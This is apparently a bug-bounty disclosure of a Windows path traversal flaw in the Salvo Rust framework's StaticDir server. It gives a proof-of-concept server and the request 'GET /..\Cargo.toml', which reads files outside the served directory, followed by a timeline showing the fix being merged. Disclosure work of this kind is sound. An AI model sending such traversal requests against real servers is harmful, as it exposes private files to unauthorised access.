Windows-Specific Relative Path Traversal vulnerability in StaticDir server in salvo-rs/salvo

Valid

Reported on

Apr 20th 2022


Description

The fix released in version 0.19.1 does not completely fix the relative path traversal vulnerability on Windows hosts. An attacker can access files outside of the configured directory root. This is due to Windows supporting the \ character as a path separator.

Proof of Concept

With a static folder in the project directory:

// main.rs
use salvo::extra::serve::{Options, StaticDir};
use salvo::prelude::*;

#[tokio::main]
async fn main() {
    let router = Router::with_path("<**path>")
        .get(StaticDir::width_options(vec!["static"], Options::default()));

    Server::new(TcpListener::bind("0.0.0.0:7878"))
        .serve(router)
        .await;
}

Example attack request:

GET /..\Cargo.toml HTTP/1.1
Host: localhost

Impact

This vulnerability is capable of accessing any file on a Windows server running Salvo.

We are processing your report and will contact the salvo-rs/salvo team within 24 hours. a month ago
We have contacted a member of the salvo-rs/salvo team and are waiting to hear back a month ago
Chrislearn Young validated this vulnerability a month ago
William Henderson has been awarded the disclosure bounty
The fix bounty is now up for grabs
Chrislearn Young confirmed that a fix has been merged on bc47c8 a month ago
Chrislearn Young has been awarded the fix bounty
to join this conversation